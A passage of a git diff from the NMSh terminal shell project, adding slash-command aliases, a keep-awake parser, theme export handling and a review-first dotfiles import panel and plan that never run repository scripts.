title: 'Open Appearance'}, '/theme': {group: 'Appearance', title: 'Open Theme Studio'}, + '/theme-bridge': {group: 'Appearance', title: 'Open Theme Bridge'}, '/chroma': {group: 'Appearance', title: 'Open Chroma'}, + '/chrome': {group: 'Appearance', title: 'Open UI Chrome'}, '/cursor': {group: 'Appearance', title: 'Open Cursor & effects'}, + '/motion': {group: 'Appearance', title: 'Open Motion'}, '/glyphs': {group: 'Appearance', title: 'Configure Glyph Style'}, + '/strip': {group: 'Appearance', title: 'Configure Status Strip'}, '/status-strip': {alias: '/strip'}, + '/screensaver': {group: 'Appearance', title: 'Open Idle visuals'}, '/activity': {group: 'Appearance', title: 'Open Live activity colors'}, + '/prompt': {group: 'Composer & transcript', title: 'Open Prompt'}, '/layout': {group: 'Composer & transcript', title: 'Configure Composer Layout'}, + '/composer': {alias: '/layout'}, '/syntax': {group: 'Composer & transcript', title: 'Open Syntax highlighting'}, + '/transcript': {group: 'Composer & transcript', title: 'Open Transcript appearance'}, '/keyboard': {group: 'Composer & transcript', title: 'Open Keyboard'}, + '/providers': {group: 'Providers', title: 'Open Providers'}, '/picker': {group: 'Providers', title: 'Configure Picker Provider'}, '/pickers': {alias: '/picker'}, + '/suggestions': {group: 'Providers', title: 'Configure Suggestions Provider'}, '/navigation': {group: 'Providers', title: 'Configure Directory Navigation'}, + '/welcome': {group: 'Providers', title: 'Configure Welcome'}, '/history-provider': {group: 'Providers', title: 'Configure History Provider'}, + '/tools': {group: 'Tools & integration', title: 'Open Tools'}, '/configure': {group: 'Tools & integration', title: 'Open Tool Configuration'}, + '/tmux': {group: 'Tools & integration', title: 'Configure tmux'}, '/integrations': {group: 'Tools & integration', title: 'Check Integrations'}, + '/dotfiles': {group: 'Tools & integration', title: 'Import Dotfiles'}, + '/caffeinate': {group: 'Tools & integration', title: 'Open Keep Awake'}, '/awake': {alias: '/caffeinate'}, '/zoomies': {alias: '/caffeinate'}, +}; + +const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/effects', insertion: '/effects ', description: 'Preview sparkles, rain or confetti in owned chrome; /effects stop cancels'}, {name: '/copy', insertion: '/copy', description: 'Copy latest command output'}, {name: '/copy N', insertion: '/copy ', description: 'Copy Nth previous output'}, {name: '/appearance', insertion: '/appearance', description: 'Configure terminal appearance'}, + {name: '/motion', insertion: '/motion', description: 'Motion: context transitions, command launch, completion highlight and effects (same as /appearance → Motion)'}, {name: '/prompt', insertion: '/prompt', description: 'Configure prompt provider and composer layout'}, {name: '/cursor', insertion: '/cursor', description: 'Text caret shape and blink while NMSh owns the composer'}, {name: '/activity', insertion: '/activity', description: 'Live activity colors for the running-command line'}, {name: '/screensaver', insertion: '/screensaver', description: 'Idle visuals: live gallery, timeout and colors'}, {name: '/screensaver start', insertion: '/screensaver start', description: 'Start the selected idle visual now; any key or mouse stops it'}, - {name: '/theme', insertion: '/theme', description: 'Theme Studio: clone, edit, import and export a custom Native theme'}, + {name: '/theme', insertion: '/theme', description: 'Theme Studio: built-in, imported and custom Native themes; create, edit, import, export, select'}, + {name: '/theme-bridge', insertion: '/theme-bridge', description: 'Theme Bridge: extend NMSh themes to fzf, less/man, LS_COLORS, tmux, Neovim, Vim and Helix (opt-in per tool)'}, {name: '/chroma', insertion: '/chroma', description: 'Chroma palettes, motion and custom gradients for the Native prompt'}, {name: '/settings', insertion: '/settings', description: 'Open NMSh settings (Config view)'}, {name: '/setup', insertion: '/setup', description: 'Setup Cat: guided, rerunnable setup; keeps your current choices'}, @@ -25,11 +55,23 @@ export const slashCommands: readonly SlashCommand[] = [ {name: '/setup cursor', insertion: '/setup cursor', description: 'Setup Cat: cursor shape, effects and colors, with a live preview'}, {name: '/setup syntax', insertion: '/setup syntax', description: 'Setup Cat: editor, syntax colors and suggestions'}, {name: '/setup tools', insertion: '/setup tools', description: 'Setup Cat: optional tools, update checks and install suggestions'}, + {name: '/caffeinate', insertion: '/caffeinate', description: 'Keep Awake: keep the computer or display awake (idle, display, system, all; optional 30m/2h; status, stop). Uses the OS mechanism'}, + {name: '/awake', insertion: '/awake', description: 'Same as /caffeinate (Keep Awake)'}, + {name: '/zoomies', insertion: '/zoomies', description: 'Same as /caffeinate (Keep Awake)'}, {name: '/tools', insertion: '/tools', description: 'Browse optional tools, installation previews and supported configuration'}, {name: '/config', insertion: '/config', description: 'Open NMSh settings (Config view)'}, {name: '/status', insertion: '/status', description: 'Show NMSh status'}, {name: '/syntax', insertion: '/syntax', description: 'Configure syntax highlighting'}, {name: '/layout', insertion: '/layout', description: 'Preview and choose composer position and transcript presentation'}, + {name: '/composer', insertion: '/composer', description: 'Composer position and transcript presentation (same as /layout)'}, + {name: '/chrome', insertion: '/chrome', description: 'UI chrome: NMSh frames, rules, tabs, selection and accents (not Chroma)'}, + {name: '/glyphs', insertion: '/glyphs', description: 'Glyph style: compare Nerd Font and Safe / ASCII symbols and icons'}, + {name: '/strip', insertion: '/strip', description: 'Status strip: clock, battery, CPU, RAM and uptime, with a live preview'}, + {name: '/status-strip', insertion: '/status-strip', description: 'Same as /strip'}, + {name: '/configure', insertion: '/configure ', description: 'Tool Configuration: supported settings for tmux, Starship and other registered tools'}, + {name: '/tmux', insertion: '/tmux', description: 'Configure tmux: settings, keys, Status Studio, new panes start NMSh, theme'}, + {name: '/integrations', insertion: '/integrations', description: 'Integrations health: review and update every managed integration'}, + {name: '/dotfiles', insertion: '/dotfiles ', description: 'Import supported settings from a dotfiles repository (reviewed, nothing executed)'}, {name: '/transcript', insertion: '/transcript', description: 'Configure historical prompts and dividers'}, {name: '/keyboard', insertion: '/keyboard', description: 'Configure keyboard integration'}, {name: '/shell', insertion: '/shell', description: 'Managed backend switcher: NMSh stays open; install missing shells; D sets the default'}, @@ -52,6 +94,11 @@ export const slashCommands: readonly SlashCommand[] = [ {name: '/doctor', insertion: '/doctor', description: 'Health check: NMSh, shell, project, Git, tools, local model and host (local, read-only)'}, {name: '/llm', insertion: '/llm', description: 'Local Intelligence: the optional local model for Ask and Smart Folding (status, setup, stop, remove)'}, {name: '/providers', insertion: '/providers', description: 'What NMSh uses for prompt, welcome, suggestions, history and more; switch, install, detect'}, + {name: '/picker', insertion: '/picker', description: 'Picker provider (NMSh Native, fzf, Television) in /providers'}, + {name: '/pickers', insertion: '/pickers', description: 'Same as /picker'}, + {name: '/suggestions', insertion: '/suggestions', description: 'Ghost-text suggestions provider in /providers'}, + {name: '/navigation', insertion: '/navigation', description: 'Directory navigation provider (NMSh Native, zoxide) in /providers'}, + {name: '/welcome', insertion: '/welcome', description: 'Welcome provider (Vespyr, fastfetch, …) in /providers'}, {name: '/presets', insertion: '/presets', description: 'Create, inspect and launch named session presets'}, {name: '/sessions', insertion: '/sessions', description: 'Live NMSh sessions right now: switch to a detached one, kill one (nmsh --sessions outside)'}, {name: '/resume', insertion: '/resume', description: 'Browse archived NMSh transcripts'}, @@ -66,24 +113,38 @@ export const slashCommands: readonly SlashCommand[] = [ {name: '/palette', insertion: '/palette', description: 'Search NMSh actions (Ctrl+Shift+P / F1)'}, {name: '/dirs', insertion: '/dirs ', description: 'Find a directory; insert a visible cd command'}, {name: '/history', insertion: '/history ', description: 'Search history'}, + {name: '/history-provider', insertion: '/history-provider', description: 'History provider (NMSh Native, Atuin) in /providers; /history is history search'}, ]; +export const slashCommands: readonly SlashCommand[] = RAW_COMMANDS.map(command => ({...command, ...META[command.name]})); + + export type ParsedSlashCommand = | {kind: 'effects'; effect: 'sparkles' | 'rain' | 'confetti' | 'stop' | 'help'; placement: 'top' | 'bottom'} | {kind: 'copy'; index: number} | {kind: 'appearance'} + | {kind: 'motion'} | {kind: 'prompt'} | {kind: 'chroma'} | {kind: 'theme'} + | {kind: 'themeBridge'} | {kind: 'cursor'} | {kind: 'activity'} | {kind: 'screensaver'; start: boolean; mode?: IdleMode} | {kind: 'tools'} + /** /caffeinate, /awake and /zoomies: one Keep Awake action. A timeout is a validated number of seconds; `invalid` names bad input. */ + | {kind: 'keepAwake'; op: 'panel' | 'status' | 'stop' | 'start'; mode?: 'idle' | 'display' | 'system' | 'all'; timeoutSeconds?: number; invalid?: string} | {kind: 'setup'; entry?: string} | {kind: 'settings'; view: 'config' | 'status'} | {kind: 'transcript'} | {kind: 'syntax'} | {kind: 'layout'} + | {kind: 'chrome'} + | {kind: 'glyphs'} + | {kind: 'statusStrip'} + | {kind: 'configure'; tool?: string} + | {kind: 'integrations'} + | {kind: 'dotfiles'; source?: string} | {kind: 'keyboard'} /** Leave NMSh for an ordinary shell; no shell means the configured default (/exit). */ | {kind: 'handoff'; shell?: 'zsh' | 'fish' | 'bash'} @@ -106,7 +167,7 @@ export type ParsedSlashCommand = | {kind: 'ask'; request: string} /** Agent sessions: /ai opens the list; /ai starts one in the background. */ | {kind: 'ai'; target?: string} - | {kind: 'providers'} + | {kind: 'providers'; family?: 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'} | {kind: 'llm'} | {kind: 'doctor'} | {kind: 'watch'; op: 'list' | 'stop' | 'pause' | 'resume' | 'now' | 'start'; arguments: string} @@ -122,9 +183,11 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined const match = /^\/copy(?:\s+([1-9]\d*))?\s*$/u.exec(input); if (match) return {kind: 'copy', index: Number(match[1] ?? '1')}; if (/^\/appearance\s*$/u.test(input)) return {kind: 'appearance'}; + if (/^\/motion\s*$/u.test(input)) return {kind: 'motion'}; if (/^\/prompt\s*$/u.test(input)) return {kind: 'prompt'}; if (/^\/chroma\s*$/u.test(input)) return {kind: 'chroma'}; if (/^\/theme\s*$/u.test(input)) return {kind: 'theme'}; + if (/^\/theme-bridge\s*$/u.test(input)) return {kind: 'themeBridge'}; if (/^\/cursor\s*$/u.test(input)) return {kind: 'cursor'}; if (/^\/activity\s*$/u.test(input)) return {kind: 'activity'}; const screensaver = /^\/screensaver(?:\s+(start)(?:\s+(\w+))?)?\s*$/u.exec(input); @@ -132,13 +195,38 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined return {kind: 'screensaver', start: screensaver[1] === 'start', ...(screensaver[2] ? {mode: screensaver[2] as IdleMode} : {})}; } if (/^\/tools\s*$/u.test(input)) return {kind: 'tools'}; + // Unlisted compatibility spelling; /caffeinate stop is the documented form. + if (/^\/caffeinate-stop\s*$/u.test(input)) return {kind: 'keepAwake', op: 'stop'}; + const awake = /^\/(?:caffeinate|awake|zoomies)(?:\s+(\S+))?(?:\s+(\S+))?\s*$/u.exec(input); + if (awake) { + const [, word, duration] = awake; + if (!word) return {kind: 'keepAwake', op: 'panel'}; + if ((word === 'status' || word === 'stop') && !duration) return {kind: 'keepAwake', op: word}; + if (word === 'idle' || word === 'display' || word === 'system' || word === 'all') { + if (!duration) return {kind: 'keepAwake', op: 'start', mode: word}; + const match = /^([1-9]\d{0,5})([smh])$/u.exec(duration); + const seconds = match ? Number(match[1]) * (match[2] === 'h' ? 3600 : match[2] === 'm' ? 60 : 1) : 0; + return seconds && seconds <= 7 * 24 * 3600 ? {kind: 'keepAwake', op: 'start', mode: word, timeoutSeconds: seconds} : {kind: 'keepAwake', op: 'panel', invalid: duration}; + } + return {kind: 'keepAwake', op: 'panel', invalid: word}; + } const setup = /^\/setup(?:\s+(prompt|appearance|chroma|tools|editor|transcript|cursor|syntax|motion|sessions|shell|ask))?\s*$/u.exec(input); if (setup) return setup[1] ? {kind: 'setup', entry: setup[1]} : {kind: 'setup'}; if (/^\/(?:settings|config)\s*$/u.test(input)) return {kind: 'settings', view: 'config'}; if (/^\/status\s*$/u.test(input)) return {kind: 'settings', view: 'status'}; if (/^\/transcript\s*$/u.test(input)) return {kind: 'transcript'}; if (/^\/syntax\s*$/u.test(input)) return {kind: 'syntax'}; - if (/^\/layout\s*$/u.test(input)) return {kind: 'layout'}; + // Aliases normalize to one action kind: /composer is /layout, /glyph(s) one panel, /strip and /status-strip one panel. + if (/^\/(?:layout|composer)\s*$/u.test(input)) return {kind: 'layout'}; + if (/^\/chrome\s*$/u.test(input)) return {kind: 'chrome'}; + if (/^\/glyphs?\s*$/u.test(input)) return {kind: 'glyphs'}; + if (/^\/(?:strip|status-strip)\s*$/u.test(input)) return {kind: 'statusStrip'}; + if (/^\/tmux\s*$/u.test(input)) return {kind: 'configure', tool: 'tmux'}; + const configure = /^\/configure(?:\s+([A-Za-z0-9_.+-]{1,40}))?\s*$/u.exec(input); + if (configure) return configure[1] ? {kind: 'configure', tool: configure[1].toLowerCase()} : {kind: 'configure'}; + if (/^\/integrations\s*$/u.test(input)) return {kind: 'integrations'}; + const dotfiles = /^\/dotfiles(?:\s+(.{1,1024}))?\s*$/u.exec(input); + if (dotfiles) return dotfiles[1]?.trim() ? {kind: 'dotfiles', source: dotfiles[1].trim()} : {kind: 'dotfiles'}; if (/^\/keyboard\s*$/u.test(input)) return {kind: 'keyboard'}; const handoff = /^\/(zsh|fish|bash|exit)\s*$/u.exec(input); if (handoff) return handoff[1] === 'exit' ? {kind: 'handoff'} : {kind: 'handoff', shell: handoff[1] as 'zsh' | 'fish' | 'bash'}; @@ -172,6 +260,10 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined const ask = /^\/ask(?:\s+([\s\S]*))?$/u.exec(input); if (ask) return {kind: 'ask', request: (ask[1] ?? '').trim()}; if (/^\/providers\s*$/u.test(input)) return {kind: 'providers'}; + // Family shortcuts are aliases of one action: /providers focused on that family. + const family = /^\/providers\s+(prompt|welcome|suggestions|history|picker|pickers|navigation)\s*$/u.exec(input)?.[1] + ?? {'/picker': 'picker', '/pickers': 'picker', '/suggestions': 'suggestions', '/navigation': 'navigation', '/welcome': 'welcome', '/history-provider': 'history'}[input.trim()]; + if (family) return {kind: 'providers', family: (family === 'pickers' ? 'picker' : family) as 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'}; if (/^\/(?:llm|localllm)\s*$/u.test(input)) return {kind: 'llm'}; if (/^\/doctor\s*$/u.test(input)) return {kind: 'doctor'}; const watch = /^\/watch(?:\s+(.*))?$/u.exec(input); diff --git a/src/configuration/portability.ts b/src/configuration/portability.ts index 2e67b9f0..f7063dca 100644 --- a/src/configuration/portability.ts +++ b/src/configuration/portability.ts @@ -19,7 +19,8 @@ export const PORTABLE_CATEGORIES = { prompt: ['provider', 'promptSymbol', 'promptSymbolCustom', 'modules', 'separator', 'gap', 'spacing', 'placement', 'nmsh.gapEnabled', 'nmsh.startStyle', 'nmsh.connector', 'nmsh.endStyle', 'nmsh.icons', 'nmsh.style', 'nmsh.connectorFade', 'nmsh.connectorFadeColors', 'nmsh.gitEnabled', 'nmsh.gitColors', 'nmsh.gitGeometry', 'nmsh.gitConnectorFade', 'nmsh.mirrorRight', 'nmsh.styleProfiles'], - theme: ['nmsh.palette', 'nmsh.vibrance', 'nmsh.accent', 'customTheme'], + theme: ['nmsh.palette', 'nmsh.vibrance', 'nmsh.accent', 'nmsh.themeId', 'themes', 'customTheme'], + themeBridge: ['themeBridge'], chroma: ['presentation'], chrome: ['uiChrome', 'glyphStyle', 'cursor'], syntax: ['syntax'], @@ -45,7 +46,7 @@ export const CATEGORY_IDS = Object.keys(PORTABLE_CATEGORIES) as PortableCategory * provider config files (Starship, Powerlevel10k), which rarely exist at the * same place elsewhere and can reveal a home directory layout. */ -export const NEVER_EXPORTED = ['onboardingComplete', 'toolsSetupComplete', 'glyphChoiceComplete', 'starship', 'powerlevel10k'] as const; +export const NEVER_EXPORTED = ['onboardingComplete', 'toolsSetupComplete', 'glyphChoiceComplete', 'starship', 'powerlevel10k', 'ohMyPosh'] as const; export interface PortableDocument { format: typeof PORTABLE_FORMAT; @@ -75,6 +76,15 @@ function setPath(target: Record, path: string, value: unknown): current[keys.at(-1)!] = structuredClone(value); } +function portableThemes(value: unknown): unknown { + if (!Array.isArray(value)) return value; + return value.map(asset => { + const copy = structuredClone(asset) as {origin?: {sourcePath?: string}}; + if (copy.origin) delete copy.origin.sourcePath; + return copy; + }); +} + export function parseCategories(text: string | undefined): PortableCategory[] { if (!text || text === 'all') return [...CATEGORY_IDS]; const requested = text.split(',').map(item => item.trim()).filter(Boolean); @@ -92,7 +102,8 @@ export function exportSettings(configuration: PromptConfiguration, categories: r const values: Record = {}; for (const path of PORTABLE_CATEGORIES[category]) { const value = getPath(normalized, path); - if (value !== undefined) values[path] = structuredClone(value); + // Imported themes keep their source path on this machine only; a transfer never carries it. + if (value !== undefined) values[path] = path === 'themes' ? portableThemes(value) : structuredClone(value); } document.categories[category] = values; } diff --git a/src/dotfiles/DotfilesPanel.ts b/src/dotfiles/DotfilesPanel.ts new file mode 100644 index 00000000..8e445de5 --- /dev/null +++ b/src/dotfiles/DotfilesPanel.ts @@ -0,0 +1,140 @@ +import type {Key} from '../terminal/keys.js'; +import {framePanel} from '../ui/PanelShell.js'; +import {renderControls} from '../ui/controls.js'; +import {foreground, UI_COLORS} from '../ui/palette.js'; +import {GLYPHS} from '../ui/glyphs.js'; +import {editText} from '../ui/formControls.js'; +import {padCells, truncateAnsi} from '../util/text.js'; +import {SOURCE_LABELS, type ScanResult} from './scan.js'; +import type {DotfilesItem, ItemMode} from './plan.js'; + +/** + * /dotfiles: source → (remote: confirm clone) → what NMSh understands, with + * per-tool choices and per-field current-vs-dotfiles choices inline → one + * combined review (default No) → per-item results. The panel holds the + * draft choices only; scanning, cloning and applying are app actions. + */ +export interface DotfilesState { + step: 'source' | 'clone' | 'items' | 'review' | 'result'; + source: string; + scan?: ScanResult; + items: DotfilesItem[]; + selected: number; + expanded?: number; + /** Selected field row inside the expanded item. */ + field: number; + review?: {lines: string[]; yes: boolean}; + clone?: {url: string; target: string; yes: boolean}; + results: string[]; + message?: string; +} + +export type DotfilesAction = {kind: 'close'} | {kind: 'scan'; source: string} | {kind: 'clone'} | {kind: 'review'} | {kind: 'apply'}; + +export function createDotfilesPanel(source = ''): DotfilesState { + return {step: 'source', source, items: [], selected: 0, field: 0, results: []}; +} + +const MODE_LABELS: Record = {import: 'Import supported settings', copy: 'Copy exact file', skip: 'Skip / keep current'}; + +export function dotfilesKey(state: DotfilesState, key: Key): DotfilesAction | undefined { + state.message = undefined; + if (state.step === 'source') { + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (key.kind === 'enter') return state.source.trim() ? {kind: 'scan', source: state.source.trim()} : (state.message = 'Type a local path such as ~/dotfiles, or a Git URL.', undefined); + const next = editText(state.source, key); + if (next !== undefined) state.source = next.replace(/[\u0000-\u001f\u007f-\u009f]/gu, '').slice(0, 1024); + return undefined; + } + const choose = (target: {yes: boolean}): 'yes' | 'no' | undefined => { + if (key.kind === 'left' || key.kind === 'right') { target.yes = !target.yes; return undefined; } + if (key.kind === 'enter') return target.yes ? 'yes' : 'no'; + if (key.kind === 'escape' || key.kind === 'interrupt') return 'no'; + return undefined; + }; + if (state.step === 'clone' && state.clone) { + const answer = choose(state.clone); + if (answer === 'yes') return {kind: 'clone'}; + if (answer === 'no') { state.step = 'source'; state.clone = undefined; state.message = 'Nothing was downloaded.'; } + return undefined; + } + if (state.step === 'review' && state.review) { + const answer = choose(state.review); + if (answer === 'yes') return {kind: 'apply'}; + if (answer === 'no') { state.step = 'items'; state.review = undefined; state.message = 'Nothing was changed.'; } + return undefined; + } + if (state.step === 'result') return key.kind === 'escape' || key.kind === 'interrupt' || key.kind === 'enter' ? {kind: 'close'} : undefined; + // items + const item = state.items[state.selected]; + if (state.expanded !== undefined) { + const fields = state.items[state.expanded]?.fields ?? []; + if (key.kind === 'escape' || key.kind === 'interrupt') { state.expanded = undefined; return undefined; } + if (key.kind === 'up' || key.kind === 'down') { state.field = (state.field + (key.kind === 'up' ? -1 : 1) + fields.length) % Math.max(1, fields.length); return undefined; } + const field = fields[state.field]; + if (field && (key.kind === 'left' || key.kind === 'right' || key.kind === 'enter' || (key.kind === 'text' && key.value === ' '))) field.use = !field.use; + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (key.kind === 'up' || key.kind === 'down') { state.selected = (state.selected + (key.kind === 'up' ? -1 : 1) + state.items.length + 1) % (state.items.length + 1); return undefined; } + if (state.selected === state.items.length) return key.kind === 'enter' ? {kind: 'review'} : undefined; + if (!item) return undefined; + if (key.kind === 'left' || key.kind === 'right') { + const index = item.modes.indexOf(item.mode); + item.mode = item.modes[(index + (key.kind === 'left' ? -1 : 1) + item.modes.length) % item.modes.length]!; + return undefined; + } + if (key.kind === 'enter' && item.fields?.length) { state.expanded = state.selected; state.field = 0; } + return undefined; +} + +export function renderDotfilesPanel(state: DotfilesState, columns: number, height: number): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const warning = foreground(UI_COLORS.failure); + const reset = '\u001B[0m'; + const yesNo = (yes: boolean) => yes ? `${subtle}No${reset} ${accent}‹ Yes ›${reset}` : `${accent}‹ No ›${reset} ${subtle}Yes${reset}`; + const lines: string[] = [` ${primary}Dotfiles import${reset} ${subtle}supported settings only · nothing in the repository is run · the repository is not changed${reset}`, '']; + let controls: Array<[string, string]> = [['Esc', 'close']]; + if (state.step === 'source') { + lines.push(` ${secondary}Source${reset} ${primary}${state.source}${accent}_${reset}`, '', + ` ${subtle}A local directory or Git checkout (plain, GNU Stow packages or a chezmoi source), or a Git URL (cloned only after you confirm).${reset}`); + controls = [['Enter', 'scan'], ['Esc', 'close']]; + } else if (state.step === 'clone' && state.clone) { + lines.push(` ${primary}Clone ${state.clone.url}?${reset}`, ` ${subtle}into ${state.clone.target} · depth 1 · no submodules · Git hooks disabled · nothing in it is run${reset}`, '', + ` ${primary}Download?${reset} ${yesNo(state.clone.yes)}`); + controls = [['←→', 'No / Yes'], ['Enter', 'confirm']]; + } else if (state.step === 'review' && state.review) { + lines.push(` ${primary}Dotfiles import plan${reset}`, '', ...state.review.lines.map(line => ` ${line.startsWith(' +') ? accent : line.startsWith(' ~') ? primary : subtle}${line}${reset}`), '', + ` ${primary}Apply?${reset} ${yesNo(state.review.yes)}`); + controls = [['←→', 'No / Yes'], ['Enter', 'confirm'], ['Esc', 'back']]; + } else if (state.step === 'result') { + lines.push(` ${primary}Done${reset}`, '', ...state.results.map(line => ` ${secondary}• ${line}${reset}`), '', ` ${subtle}Edit imported tmux settings any time in /tmux.${reset}`); + controls = [['Enter', 'close']]; + } else if (state.scan) { + lines.push(` ${secondary}Source${reset} ${state.scan.root}`, ` ${secondary}Type${reset} ${SOURCE_LABELS[state.scan.type]}${state.scan.packages.length ? ` · packages: ${state.scan.packages.join(', ')}` : ''}`); + if (state.scan.scripts.length) lines.push(` ${subtle}${state.scan.scripts.length} script${state.scan.scripts.length === 1 ? '' : 's'} found and never run (for example ${state.scan.scripts[0]})${reset}`); + lines.push('', ` ${subtle}Found${reset}`); + if (!state.items.length) lines.push(` ${subtle}No configuration NMSh understands was found.${reset}`); + state.items.forEach((item, index) => { + const selected = index === state.selected && state.expanded === undefined; + const glyph = item.kind === 'fields' || item.kind === 'copy' ? `${accent}✓${reset}` : item.kind === 'inspect' ? `${subtle}○${reset}` : `${warning}!${reset}`; + lines.push(`${selected ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${glyph} ${selected ? primary : secondary}${padCells(item.file.tool.label, 10)}${reset}${padCells(item.file.repoPath, 32)}${selected && item.modes.length > 1 ? `${accent}‹ ${MODE_LABELS[item.mode]} ›${reset}` : MODE_LABELS[item.mode]}`); + lines.push(` ${subtle}${item.note}${item.fields?.length ? ' · Enter reviews each value' : ''}${reset}`); + if (state.expanded === index && item.fields) { + lines.push(` ${subtle}${padCells('Setting', 24)}${padCells('Dotfiles', 16)}${padCells('Current', 16)}Use${reset}`); + item.fields.forEach((field, fieldIndex) => { + const on = fieldIndex === state.field; + lines.push(` ${on ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${padCells(field.label, 24)}${padCells(field.repo, 16)}${padCells(field.current, 16)}${on ? accent : field.conflict ? warning : subtle}${field.use ? 'Use dotfiles value' : 'Keep current value'}${reset}`); + }); + } + }); + const reviewSelected = state.selected === state.items.length && state.expanded === undefined; + lines.push('', `${reviewSelected ? `${accent}${GLYPHS.selection}${reset}` : ' '} ${reviewSelected ? accent : subtle}Review all changes ›${reset}`); + controls = state.expanded !== undefined ? [['↑↓', 'value'], ['←→', 'dotfiles / current'], ['Esc', 'back']] : [['↑↓', 'select'], ['←→', 'choose'], ['Enter', 'details / review'], ['Esc', 'close']]; + } + if (state.message) lines.push('', ` ${secondary}${state.message}${reset}`); + return framePanel([...lines.slice(0, Math.max(3, height - 3)), '', renderControls(controls)].map(line => truncateAnsi(line, columns)), columns).slice(0, Math.max(1, height)); +} diff --git a/src/dotfiles/plan.ts b/src/dotfiles/plan.ts new file mode 100644 index 00000000..9672aa83 --- /dev/null +++ b/src/dotfiles/plan.ts @@ -0,0 +1,178 @@ +import {copyFileSync, existsSync, lstatSync, mkdirSync, readFileSync, realpathSync, renameSync, writeFileSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {dirname} from 'node:path'; +import {parse as parseToml} from 'smol-toml'; +import {sha256} from '../ask/fileEdit.js'; +import { + applyTmuxChange, describeTmuxChange, loadTmuxModel, optionProvenance, parseTmuxConfig, readUserTmuxConfig, saveTmuxModel, TMUX_ACTIONS, TMUX_OPTIONS, + type TmuxChange, +} from '../tools/config/tmux.js'; +import {writeTmuxManaged} from '../tools/config/tmuxManaged.js'; +import {destinationFor, readFound, type FoundFile, type ScanResult} from './scan.js'; + +/** + * Turning a scan into reviewed choices. Structured or command-style config + * goes through its adapter at field level (current vs dotfiles, never + * silently the repository's value on a conflict). A file is copied exactly + * only when its registry entry declares an exactCopy validator and the + * content passes it (fail-closed: being parseable is not being safe); + * everything else, including all executable config, is inspect only. The + * repository itself is never modified. + */ + +export type ItemKind = 'fields' | 'copy' | 'inspect' | 'templated' | 'unreadable'; +export type ItemMode = 'import' | 'copy' | 'skip'; + +export interface FieldChoice {change: TmuxChange; label: string; repo: string; current: string; source: string; use: boolean; conflict: boolean} + +export interface DotfilesItem { + file: FoundFile; + kind: ItemKind; + mode: ItemMode; + modes: readonly ItemMode[]; + note: string; + fields?: FieldChoice[]; + destination?: string; + /** sha256 of the destination when reviewed ('absent' when missing): copying refuses if it changed since. */ + destinationSha?: string; + content?: string; + diff?: string[]; +} + +export function shortDiff(before: string | undefined, after: string): string[] { + if (before === undefined) return [`+ new file (${after.split('\n').length} lines)`]; + const a = before.split('\n'); + const b = after.split('\n'); + const out: string[] = []; + for (let index = 0; index < Math.max(a.length, b.length) && out.length < 12; index++) { + if (a[index] === b[index]) continue; + if (a[index] !== undefined) out.push(`- ${a[index]}`); + if (b[index] !== undefined) out.push(`+ ${b[index]}`); + } + return out.length ? out : [' identical to the current file']; +} + +function tmuxFields(text: string, env: NodeJS.ProcessEnv): FieldChoice[] { + const repo = parseTmuxConfig(text); + const model = loadTmuxModel(env); + const mine = readUserTmuxConfig(env); + const user = mine ? parseTmuxConfig(mine.text) : undefined; + const fields: FieldChoice[] = []; + for (const [id, value] of Object.entries(repo.options)) { + const option = TMUX_OPTIONS.find(item => item.id === id)!; + const current = optionProvenance(option, model, user); + if (current.effective === value) continue; + const conflict = current.source !== 'tmux default'; + fields.push({change: {kind: 'option', id, value}, label: option.label, repo: value, current: current.effective, source: current.source, use: !conflict, conflict}); + } + if (repo.prefix) { + const current = model.prefix ?? user?.prefix ?? 'C-b'; + if (current !== repo.prefix) { + const conflict = Boolean(model.prefix ?? user?.prefix); + fields.push({change: {kind: 'prefix', key: repo.prefix}, label: 'Prefix', repo: repo.prefix, current, source: model.prefix ? 'NMSh managed file' : user?.prefix ? 'your tmux config' : 'tmux default', use: !conflict, conflict}); + } + } + for (const binding of repo.bindings) { + if (binding.action === 'send-prefix') continue; + const existing = [...model.bindings, ...(user?.bindings ?? [])].find(item => item.key === binding.key && item.table === binding.table); + if (existing?.action === binding.action) continue; + fields.push({change: {kind: 'binding', binding}, label: `Key ${binding.key}`, repo: TMUX_ACTIONS[binding.action].label, current: existing ? TMUX_ACTIONS[existing.action].label : '—', + source: existing ? 'existing binding' : 'unbound', use: !existing, conflict: Boolean(existing)}); + } + return fields; +} + +export function buildPlan(scan: ScanResult, env: NodeJS.ProcessEnv = process.env): DotfilesItem[] { + const items: DotfilesItem[] = []; + const seen = new Set(); + for (const file of scan.found) { + const base = {file}; + if (file.templated) { items.push({...base, kind: 'templated', mode: 'skip', modes: ['skip'], note: 'chezmoi template: not literal config; review it with chezmoi (NMSh does not render templates)'}); continue; } + if (file.tool.configClass === 'executable') { items.push({...base, kind: 'inspect', mode: 'skip', modes: ['skip'], note: 'Executable config: inspect only; never sourced, copied or rewritten'}); continue; } + if (seen.has(file.tool.id)) { items.push({...base, kind: 'inspect', mode: 'skip', modes: ['skip'], note: `Another ${file.tool.label} file was already selected from this repository`}); continue; } + const content = readFound(scan, file); + if (typeof content !== 'string') { items.push({...base, kind: 'unreadable', mode: 'skip', modes: ['skip'], note: content.error}); continue; } + seen.add(file.tool.id); + if (file.tool.id === 'tmux') { + const fields = tmuxFields(content, env); + const parsed = parseTmuxConfig(content); + items.push({...base, kind: 'fields', mode: fields.length ? 'import' : 'skip', modes: fields.length ? ['import', 'skip'] : ['skip'], fields, content, + note: `${fields.length} supported value${fields.length === 1 ? '' : 's'} differ · ${parsed.unsupported.length} other lines stay out · ${parsed.ignored.length} dynamic lines never run`}); + continue; + } + if (file.target.endsWith('.toml')) { try { parseToml(content); } catch { items.push({...base, kind: 'unreadable', mode: 'skip', modes: ['skip'], note: 'Not valid TOML; skipped'}); continue; } } + const exact = file.tool.exactCopy?.(content); + if (exact && 